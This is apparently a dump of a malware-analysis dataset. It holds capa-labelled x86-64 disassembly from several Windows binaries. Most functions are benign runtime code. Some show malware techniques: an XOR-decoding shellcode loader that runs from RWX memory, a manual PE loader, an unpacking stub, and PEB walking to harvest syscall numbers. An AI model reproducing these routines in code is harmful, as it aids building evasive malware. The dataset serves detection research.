joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001210
Capabilities:
Link function at runtime on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r15, rcx
mov r14d, dword [rdx + 0x90]
add r14, rcx
mov r9d, dword [rdx + 0xe8]
mov eax, 0x90
mov ecx, 0xe8
test r9d, r9d
cmovne eax, ecx
mov r8d, dword [rax + rdx]
mov eax, 0x94
mov ecx, 0xec
cmovne eax, ecx
mov edx, dword [rax + rdx]
lea rcx, [r15 + r8]
lea r9, [rsp + 0x38]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
mov eax, dword [r14 + 0xc]
test eax, eax
je 0x1400012f5
lea rcx, [r15 + rax]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov edi, dword [r14 + 0x10]
add rdi, r15
mov qword [rsp + 0x28], rdi
mov eax, dword [r14]
test eax, eax
lea rbx, [r15 + rax]
jne 0x1400012af
mov rbx, rdi
mov qword [rsp + 0x20], rbx
mov rax, qword [rbx]
test rax, rax
je 0x1400012ea
mov rcx, rsi
jns 0x1400012c6
movzx edx, ax
jmp 0x1400012cd
lea rdx, [r15 + 2]
add rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi], rax
add rdi, 8
mov qword [rsp + 0x28], rdi
add rbx, 8
mov qword [rsp + 0x20], rbx
jmp 0x1400012b4
add r14, 0x14
mov qword [rsp + 0x30], r14
jmp 0x140001280
jmp 0x1400012f7
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001f90
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001320
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x40
mov r15, rcx
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov eax, 0x5a4d
cmp ax, word [rcx]
je 0x140001355
xor eax, eax
jmp 0x14000142c
movsxd rsi, dword [rcx + 0x3c]
add rsi, r15
cmp dword [rsi], 0x4550
je 0x14000136b
xor eax, eax
jmp 0x14000142c
mov eax, 0x8664
cmp ax, word [rsi + 4]
je 0x14000137d
xor eax, eax
jmp 0x14000142c
cmp dword [rsi + 0xf8], 0
je 0x14000138d
xor eax, eax
jmp 0x14000142c
lea rdi, [rsi + 0x108]
mov qword [rsp + 0x30], rdi
mov edx, dword [rsi + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, qword [rsi + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x1400013dc
mov edx, dword [rsi + 0x50]
xor ecx, ecx
lea r9d, [rax + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov qword [rsp + 0x28], rax
test r14, r14
jne 0x1400013e5
xor eax, eax
jmp 0x14000142c
mov r8d, dword [rsi + 0x54]
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsp + 0x20], ebx
movzx eax, word [rsi + 6]
cmp ebx, eax
jge 0x140001422
mov r8d, dword [rdi + 0x10]
mov edx, dword [rdi + 0x14]
add rdx, r15
mov ecx, dword [rdi + 0xc]
add rcx, r14
call sub.VCRUNTIME140.dll_memcpy
add rdi, 0x28
mov qword [rsp + 0x30], rdi
inc ebx
jmp 0x1400013f4
jmp 0x140001429
mov rax, r14
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop r15
ret
Function at 0x140135b00
Capabilities:
Terminate process

Disassembly:
invalid
cld
pop r11
jmp 0x140135b0d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140135b1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140135b05
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140135b35
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140135b22
sub eax, 3
jb 0x140135b4f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140135b86
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140135b76
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140135b74
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140135b63
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140135ac2
jmp 0x140135b0d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe0600
mov dl, 0x22
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140135bd6
cmp rsi, rcx
jae 0x140135bde
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140135bbd
cmp al, 0x8f
ja 0x140135bbd
cmp byte [rsi - 2], 0xf
je 0x140135bc3
sub al, 0xe8
cmp al, 1
ja 0x140135ba7
cmp rsi, rcx
jae 0x140135bde
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140135bad
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140135bde
lodsb al, byte [rsi]
jmp 0x140135bbd
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x130000]
mov eax, dword [rdi]
or eax, eax
je 0x140135c3b
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1351b8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140135beb
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140135c35
mov qword [rbx], rax
add rbx, 8
jmp 0x140135c0b
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140135c75
cmp al, 0xef
ja 0x140135c67
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140135c47
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140135c56
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140135cc9
sub rsp, 0xffffffffffffff80
jmp 0x1400da528
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000b910]
mov dword [rax], 1
mov rax, qword [0x14000b920]
mov dword [rax], 1
mov rax, qword [0x14000b930]
mov dword [rax], 1
mov rax, qword [0x14000b900]
mov dword [rax], 1
mov rax, qword [0x14000b7c0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001f60
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002b92
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140010188]
test eax, eax
je 0x140002c2a
lea rax, [0x140010160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140010190]
mov qword [rbp - 8], rax
jmp 0x140002c0e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002c02
cmp qword [rbp - 0x10], 0
je 0x140002c02
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002bc8
lea rax, [0x140010160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002c2b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002d30
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002d58
mov eax, 0
jmp 0x140002da6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002d81
mov eax, 0
jmp 0x140002da6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002da1
mov eax, 0
jmp 0x140002da6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002dac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002e2a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002e21
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002e21
mov rax, qword [rbp - 8]
jmp 0x140002e3f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002df4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e10
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011840
push rbp
push rsi
push rdi
sub rsp, 0x2e0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x7c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c008]
xor rax, rbp
mov qword [rbp + 0x2a8], rax
lea rcx, [0x1400210f3]
call fcn.140011375
lea rax, [rbp + 0x10]
lea rcx, [0x140019c90]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x149
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x149
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x178], rax
mov r8d, 0x149
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x178]
call fcn.1400111b3
mov dword [rbp + 0x1b4], 0
jmp 0x1400118e6
mov eax, dword [rbp + 0x1b4]
inc eax
mov dword [rbp + 0x1b4], eax
movsxd rax, dword [rbp + 0x1b4]
cmp rax, 0x149
jae 0x14001191d
movsxd rax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x178]
movsx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rbp + 0x1b4]
mov rdx, qword [rbp + 0x178]
mov byte [rdx + rcx], al
jmp 0x1400118d8
lea rax, [rbp + 0x194]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x178]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x1d8], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c50]
call fcn.14001130c
mov eax, edi
mov rcx, qword [rbp + 0x2a8]
xor rcx, rbp
call fcn.1400111ae
lea rsp, [rbp + 0x2b0]
pop rdi
pop rsi
pop rbp
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014160
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014180
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014193
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400141bd
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400141d1
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400141e3
xor al, al
jmp 0x140014201
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400141ff
xor al, al
jmp 0x140014201
mov al, 1
add rsp, 0x38
ret
Function at 0x140001650
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor esi, esi
movsxd rax, dword [rcx + 0x3c]
mov edi, dword [rcx + rax + 0x88]
add rdi, rcx
mov rbx, rcx
mov rbp, rdx
mov r12d, dword [rdi + 0x20]
mov r13d, dword [rdi + 0x18]
add r12, rcx
cmp esi, r13d
jae 0x1400016bc
mov edx, dword [r12 + rsi*4]
mov rcx, rbp
add rdx, rbx
call sub.msvcrt.dll_strcmp
mov edx, eax
lea rax, [rsi + 1]
test edx, edx
jne 0x1400016b7
mov eax, dword [rdi + 0x24]
add rsi, rsi
add rsi, rbx
movzx edx, word [rsi + rax]
mov eax, dword [rdi + 0x1c]
lea rdx, [rbx + rdx*4]
mov eax, dword [rdx + rax]
add rax, rbx
jmp 0x1400016be
mov rsi, rax
jmp 0x14000167d
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x14000170d
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x438
mov r14, qword [sym.imp.msvcrt.dll_wcscpy_s]
xor r13d, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rbx, qword [rax + 0x20]
lea r15, [rax + 0x20]
mov r12, rcx
lea rsi, [rsp + 0x228]
lea rbp, [rsp + 0x20]
cmp rbx, r15
je 0x1400017a2
mov eax, r13d
mov ecx, 0x82
mov rdi, rbp
mov edx, 0x104
rep stosd dword [rdi], eax
mov ecx, 0x82
mov rdi, rsi
rep stosd dword [rdi], eax
mov rcx, rbp
mov r8, qword [rbx + 0x40]
call r14
mov edx, 0x104
mov rcx, rsi
mov r8, r12
call r14
mov rdx, rbp
mov rcx, rsi
call fcn.1400016cb
test eax, eax
je 0x14000179d
mov rax, qword [rbx + 0x20]
jmp 0x1400017a4
mov rbx, qword [rbx]
jmp 0x14000174f
xor eax, eax
add rsp, 0x438
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002218
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x140059060], 0
je 0x14000223b
mov edx, 1
jmp 0x140002402
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
xor ebx, ebx
mov r8, qword [rax + 0x10]
xor eax, eax
mov rdx, qword [r8 + 0x30]
test rdx, rdx
je 0x14000229e
movsxd rcx, dword [rdx + 0x3c]
mov ecx, dword [rdx + rcx + 0x88]
test ecx, ecx
je 0x140002296
lea rax, [rcx + rdx]
mov ecx, dword [rax + 0xc]
add rcx, rdx
mov r9d, dword [rcx]
or r9d, 0x20202020
cmp r9d, 0x6c64746e
jne 0x140002296
mov ecx, dword [rcx + 4]
or ecx, 0x20202020
cmp ecx, 0x6c642e6c
je 0x1400022a8
mov r8, qword [r8]
mov rbx, rdx
jmp 0x140002250
test rax, rax
jne 0x1400022ab
jmp 0x140002402
mov rbx, rdx
mov ebp, dword [rax + 0x1c]
mov edi, dword [rax + 0x24]
xor esi, esi
lea r13, [0x140059068]
mov edx, dword [rax + 0x18]
mov eax, dword [rax + 0x20]
add rdi, rbx
add rbp, rbx
lea r10d, [rdx - 1]
add rax, rbx
lea r12, [rax + r10*4]
add r10, r10
add r10, rdi
mov ecx, dword [r12]
add rcx, rbx
cmp word [rcx], 0x775a
jne 0x140002313
call fcn.140002160
mov r11d, esi
inc esi
shl r11, 4
add r11, r13
mov dword [r11], eax
movzx eax, word [r10]
mov eax, dword [rbp + rax*4]
mov dword [r11 + 4], eax
xor eax, eax
mov qword [r11 + 8], rax
cmp esi, 0x1f4
je 0x140002325
sub r12, 4
lea rax, [r10 - 2]
cmp rdi, r10
je 0x140002325
mov r10, rax
jmp 0x1400022d7
mov dword [0x140059060], esi
lea ebp, [rsi - 1]
lea r10, [0x140059068]
test ebp, ebp
je 0x14000238c
lea rdx, [0x140059060]
xor ecx, ecx
lea eax, [rcx + 1]
mov r8d, dword [rdx + 0xc]
mov rcx, rax
shl rax, 4
add rax, r10
mov r9d, dword [rax + 4]
cmp r9d, r8d
jae 0x140002380
mov edi, dword [rdx + 8]
mov r11, qword [rdx + 0x10]
mov r12d, dword [rax]
mov dword [rdx + 0xc], r9d
mov r9, qword [rax + 8]
mov dword [rdx + 8], r12d
mov qword [rdx + 0x10], r9
mov dword [rax], edi
mov dword [rax + 4], r8d
mov qword [rax + 8], r11
add rdx, 0x10
cmp ecx, ebp
jb 0x140002342
dec ebp
jmp 0x140002335
mov eax, dword [0x14005906c]
mov r13d, dword [0x14005907c]
xor edi, edi
lea r15, [0x140055ce0]
sub r13d, eax
lea r12, [rbx + rax]
mov r14d, edi
cmp edi, r13d
jae 0x140002231
lea rdx, [r12 + rdi]
mov r8d, 3
mov rcx, r15
inc rdi
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x1400023a9
lea rdi, [0x140059060]
test r14d, r14d
je 0x140002231
add rdi, 0x10
cmp esi, ebp
je 0x140002231
mov ecx, dword [rdi - 4]
mov r8d, r13d
mov edx, r14d
inc ebp
add rcx, rbx
call fcn.140002188
mov qword [rdi], rax
jmp 0x1400023de
mov eax, edx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140003000
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140008c90
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140008c90
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140003070
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14005b074]
mov rbx, rcx
test esi, esi
jle 0x1400031a0
mov rax, qword [0x14005b078]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400030bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140003145
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400030a0
mov rcx, rbx
call fcn.140003ac0
mov rdi, rax
test rax, rax
je 0x1400031c2
mov rax, qword [0x14005b078]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003c00
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14005b078]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400031a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000313e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003150
add dword [0x14005b074], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14005b078]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000313e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140003000
nop dword [rax]
xor esi, esi
jmp 0x1400030c8
mov rax, qword [0x14005b078]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140003000
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140003000
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003730
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14005b0e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005b0c0]
test rbx, rbx
je 0x14000378c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003783
test rsi, rsi
je 0x140003783
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003768
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003ac0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140056760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003ae0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003ae8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003ae0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140003b3d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003b34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003ae0
add rax, 0x28
cmp rax, r9
jne 0x140003b20
xor eax, eax
ret

Function at 0x140003b40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140056760]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003b5f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003b68
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003b5f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003c00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140056760]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003c1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003c28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret